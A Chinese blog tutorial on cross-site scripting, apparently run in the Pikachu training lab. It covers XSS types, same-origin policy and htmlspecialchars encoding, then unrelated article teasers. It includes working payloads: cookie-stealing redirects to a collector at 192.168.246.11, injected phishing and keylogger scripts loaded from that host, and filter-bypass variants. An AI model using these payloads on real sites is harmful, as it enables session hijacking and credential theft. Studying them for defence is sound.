XSS跨站脚本攻击

2023-09-14 22:50:15

XSS全称(Cross Site Scripting)跨站脚本攻击,XSS属于客户端攻击,受害者最终是用户,在网页中嵌入客户端恶意脚本代码,最常用javascript语言。(注意:叠成样式表CSS已经被占用所以叫XSS)

原因:输入没过滤,输出没编码。

危害:劫持用户cookie,钓鱼,挂马

分类:

1、反射性XSS(中危,一次性不保存在数据库,交互的地方,比如带参和输入更新),

2、储存型XSS(高危,长久保存在数据库)

3、DOM XSS(低危,无数据库交互,浏览器的dom节点),可能存在html文本框,URL文本框,样式等

操作:

在万能闭合‘“>后面插入语句<script>prompt(1)</script>

或者用弹窗语句‘“><script>alert(1)</script>,弹出一个对话框1,如果能弹窗说明这里是有漏洞的。

示例,name变量没有进行过滤

cookie收集展示

 设置下点击页面的时候返回地址,这样减少用户的疑问,也可以把返回的网址换成登录的网页

111'"><script>document.location = 'http://网站IP和端口/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

配置好返回的界面后,输入以下代码,提交然后刚才提交的那个电脑的cookie就保存在到pkxss里面了。且用户点击的界面在提交代码之后返回到之前配置的那个index.php上。

盲打获取账户密码

在不确定是否有注入点的地方输入后,登录后台可以把登录的账户和密码拿到,在md5解密就可以获得账户密码

111'"><script>document.location = 'http://192.168.246.11/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

post方式

钓鱼

'"><script src="http://192.168.246.11/pikachu/pkxss/xfish/fish.php"></script>

注意:再次点击的时候没有弹出,是因为已经保存这个电脑信息,需要浏览器清除下cookie

收集键盘信息

同源策略:浏览器都约定了“同源策略,禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象

http:// www.   oldboyedu.com  :80 /   news/index.php
协议    子域名    主域名               端口    资源地址

必须要全部一样才算同源

后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。

111'"><script src="http://192.168.246.11/pikachu/pkxss/rkeypress/rk.js"></script>,键盘记录rk.js执行,然后在页面任何位置输入就可以键盘输入记录

XSS绕过

前段绕过,大小写,双写,注释,编码

1、对前端的限制可以尝试进行抓包重发或者修改前端的HTML。比如修改输入框字符。
2、防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。比如:<sCRipT>alert('你吃饭像tuzi')</sCrIPt>,利用的是精准过滤,换成大小写就绕过了。也可以用其他标签比如框架iframe,类型style,标签svg


3、防止后台对输入的内容进行替换,采用拼拼凑的输入方法。比如:<sc<script>ript>alert(你吃饭像tuzi')</scr<script>ipt>
4、使用注释来干扰后台对输入内容的识别。比如:<sc<!--test-->ript>alert('你吃饭像tuzi')</scr<!--tshauie-->ipt>
5:、编码,保证输出的情况下后台代码过滤

htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体

可用的quotestyle类型:

ENT_COMPAT - 默认。仅编码双引号

ENT_QUOTES - 编码双引号和单引号

ENT_NOQUOTES - 不编码任何引

预定义的字符是:
 & (和号)成为 &amp
 " (双引号)成为 &quot
 ’ (单引号)成为&#039
 < (小于)成为 &lt
 >(大于)成为 &gt

该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)

href输出:javascript:alert(1111) 

更多推荐

使用PageHelper进行分页

使用PageHelper进行分页1.使用SpringBoot2.不使用SpringBoot的实现1.使用SpringBoot要在SpringMVC中使用PageHelper进行分页,你需要完成以下几个步骤:添加PageHelper依赖:在你的项目中添加PageHelper的Maven或Gradle依赖。例如,如果你使用

[效率提升]使用shell脚本完成一些git操作

[效率提升]使用shell脚本完成一些git操作根据分支名自动Add和Commit并Push到远程开发分支例如开发分支名为:feature-xxx功能Commit信息为:xxx功能#!/bin/bash#获取当前分支名称current_branch=$(gitrev-parse--abbrev-refHEAD)echo

计算机毕设 flink大数据淘宝用户行为数据实时分析与可视化

文章目录0前言1、环境准备1.1flink下载相关jar包1.2生成kafka数据1.3开发前的三个小tip2、flink-sql客户端编写运行sql2.1创建kafka数据源表2.2指标统计:每小时成交量2.2.1创建es结果表,存放每小时的成交量2.2.2执行sql,统计每小时的成交量2.3指标统计:每10分钟累计

【含java2023面试题】HashMap、HashTable、ConcurrentHashMap

作为Java中最常用的Map集合,HashMap、HashTable和ConcurrentHashMap都是线程安全的,但它们之间有什么区别呢?在本文中,我们将深入探讨这三种Map集合的区别,并通过Java代码示例来演示它们之间的差异。AI绘画关于SD,MJ,GPT,SDXL百科全书面试题分享点我直达2023Pytho

Java面试八股文宝典:初识数据结构-数组的应用扩展之HashTable

前言上一章我们了解HashMap后,让我们深入研究HashTable,这是另一个键值对存储的数据结构。Hash表是一个非常重要且广泛用于编程中的数据结构,了解其工作原理和用法对于编写高效的程序非常重要。简述HashTable是Java中的一个古老的哈希表实现,它在Java的早期版本中被引入。虽然它在新的Java版本中不

Spark-3.2.4 高可用集群安装部署详细图文教程

目录一、Spark环境搭建-Local1.1服务器环境1.2基本原理1.2.1Local下的角色分布1.3搭建1.3.1安装Anaconda1.3.1.1添加国内阿里源1.3.2创建pyspark环境1.3.3安装spark1.3.4添加环境变量1.3.5启动spark1.3.5.1bin/pyspark1.3.5.2

337.打家劫舍III

337.打家劫舍III-力扣(LeetCode)小偷又发现了一个新的可行窃的地区。这个地区只有一个入口,我们称之为root。除了root之外,每栋房子有且只有一个“父“房子与之相连。一番侦察之后,聪明的小偷意识到“这个地方的所有房屋的排列类似于一棵二叉树”。如果两个直接相连的房子在同一天晚上被打劫,房屋将自动报警。给定

PostgreSQL 数据定义语言 DDL

文章目录表创建主键约束非空唯一约束检查约束外键约束默认值约束触发器表空间构建表空间视图索引索引的基本概念索引的分类创建索引物化视图表创建PostgreSQL表的构建语句与所有数据库都一样,结构如下,其核心在于构建表时,要指定上一些约束,例如主键、非空、唯一、检查、外键、默认值等。CREATETABLEtable_nam

[C++ 网络协议] 多种I/O函数

1.Linux的send&recv函数1.1send函数和recv函数#include<sys/socket.h>ssize_tsend(intsockfd,//套接字文件描述符constvoid*buf,//保存待传输数据的缓冲地址值size_tnbytes,//待传输的字节数intflags//传输数据时指定的可选

JavaScript 测试基础,TDD、BDD、Benchmark

目录测试框架TDDBDDBenchmark使用场景结果报告示例示例代码当我写一段测试的时候,我在想些什么设计思路思路一思路二当我以测试驱动开发的时候,我在想些什么原则:谁开发,谁测试。注意:原则上应该先写测试,再进行编码;如果需求时间紧,可以先进行功能实现,但务必后续维护时候将测试代码补充完善。BDD(优先)+TDD(

【业务功能篇112】maven 指定打包某个module子模块 打包命令参数

-am--also-make构建所列模块的所有依赖模块;-pl--projects<arg>构建制定的模块,模块间用逗号分隔;指定settings.xml打包mvncleanpackage--settingsC:\Users\Admini\.m2\settings.xml如果需要根据指定的settings.xml文件打

热文推荐